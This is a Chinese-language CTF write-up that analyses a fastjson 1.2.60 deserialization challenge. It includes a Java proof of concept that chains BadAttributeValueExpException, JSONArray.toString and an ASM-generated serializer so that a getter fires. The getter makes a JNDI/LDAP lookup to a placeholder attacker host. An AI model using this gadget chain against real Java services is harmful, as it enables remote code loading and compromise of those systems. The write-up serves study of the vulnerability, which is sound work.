前段时间看了一道CTF的题目
这道题主要是通过利用fastjson中的反序列过程中也能够调用类的getter方法这个知识点来进行利用的
常规的fastjson利用是传入的一个json串,通过autoType的方式在解析json串的过程中调用指定类的特定方法的getter/setter
方法来进行利用的,但是如果没有fastjson的json串解析的入口,只有一个反序列化点的入口就不能够利用了吗?当然是可以的!
以前就知道这个知识点,但是一直没有真正去了解一下原理,这里趁着这道CTF来仔仔细细的了解一下这些个原理细节和底层逻辑
这里我们先看看例题,后面再对toString触发getter的细节做出解释
题目附件可以从这里找到
简单说下,出题者重写了ObjectInputStream
类中的resolveClass
方法,在反序列化的过程中检查是否是黑名单类
并且存在有一个MyBean
类
很明显这个pojo类就是sink点了,如果conn
可控就可以进行JNDI注入
利用已知的fastjson反序列化能够触发getter方法,也即是MyBean#getConnect
方法
我们可以构造POC为
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://xx:8000/jndi/ldap://xx:8000/SpringController");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean myBean = new MyBean(null, null, rmiConnector);
JSONArray jsonArray = new JSONArray();
jsonArray.add(myBean);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
将序列化数据传入反序列化路由中就可以进行ldap查询了
利用链
BadAttributeValueExpException#readObject
JSONArray#toString
JSONArray#toJSONString
ASMSerializer_1_MyBean#write
MyBean#getConnect
其中利用链中的ASMSerializer_1_MyBean
类是fastjson中内置的asm框架动态生成的一个MyBean类
这里值得注意的是,比赛过程中,在本地反序列化过程中出现了错误,但是直接将生成的序列化输入放入远程环境能够成功(我也不明白为什么),反正知识点是对的就行!!
接下来详细了解一下本题中使用的知识点
这里我使用的是ezbean
这道题的环境,fastjson的版本也即是1.2.60
在fastjson中存在实现了Serializable
接口的类很少,经过检索,有以下3
个
AntiCollisionHashMap
: 这个类实现了自己的readObject
方法
JSONObject/JSONArray
在这个版本中存在有自己的readObject
方法
主要是通过重写了ObjectInputStream#resolveClass
方法来进行反序列化类的安全性检查
没有任何的反序列化功能点
因为在JSONArray类中的实现的readObject
方法中除了检查恶意类之外没有反序列化的过程,所以我们需要找到一个中转的点,这里也就是toString
方法的带哦用
本身JSONArray
类中并没有toString
方法,它使用父类JSON
的toString
方法
这里就是能够触发getter
方法的关键点,toString方法中调用了toJSONString
方法,通过执行对应的JSONSerializer#write
方法达到getter方法触发的目的
接下来详细分析一下原理
前面提到了将会调用JSONSerializer#write
方法
这里将会通过getObjectWriter
来获取一个ObjectSerializer的实现类
这是一个关于ObjectSerializer
的官方的一个例子
最后会来到SerializeConfig#getObjectWriter
方法中获取对应class对象的ObjectWriter
这里因为是使用的JSONArray
进行JavaBean的嵌套使用,因为JSONArray
是一个实现了List
接口的一个类,所以获取到的是ListSerializer
而在ListSerializer#write
的处理中
针对他的元素(一个JavaBean),他通过调用getObjectWriter
方法获取了对应Bean类的ObjectWriter
对象
所以又重新回到了SerializeConfig#getObjectWriter
的调用过程
前面都是一些对一些常见的对象进行不同的Serilizer
的映射,但是这里的JavaBean都不满足
来到这个方法的末尾部分
在不满足前面已有的映射,通过createJavaBeanSerializer
方法来动态的创建一个类
在经过简单的黑名单过滤之后,调用TypeUtils#buildBeanInfo
方法来提取这个JavaBean的类信息,为之后的类生成做准备
之后嘞,就是将提取的信息beanInfo
传入createJavaBeanSerializer
中进行JavaBeanSerializer类的动态生成
在createJavaBeanSerializer
方法中主要是通过调用createASMSerializer
方法进行创建的
也即是ASMSerializerFactory#createJavaBeanSerializer
方法创建
这里主要是使用ASM技术来生成ASMSerializer_num_className
这种格式的类,类的包名和ASMSerializerFactory
类的包名共用
至于类的field的创建
使用的是fieldName_asm_fieldType
类型获取其他类型
之后就是对应方法的创建
最后生成的类为:
最后动态生成了这个类之后,将JavaBean类和这个Serializer进行映射
最后就会调用这个动态生成的serializer的write方法,在这个方法中就能够执行JavaBean类的getter方法了
调用栈为:
getConnect:29, MyBean (com.ctf.ezser.bean)
write:-1, ASMSerializer_1_MyBean (com.alibaba.fastjson.serializer)
write:135, ListSerializer (com.alibaba.fastjson.serializer)
write:285, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:960, JSON (com.alibaba.fastjson)
toString:954, JSON (com.alibaba.fastjson)
readObject:86, BadAttributeValueExpException (javax.management)
https://xz.aliyun.com/t/12485#toc-3
https://y4tacker.github.io/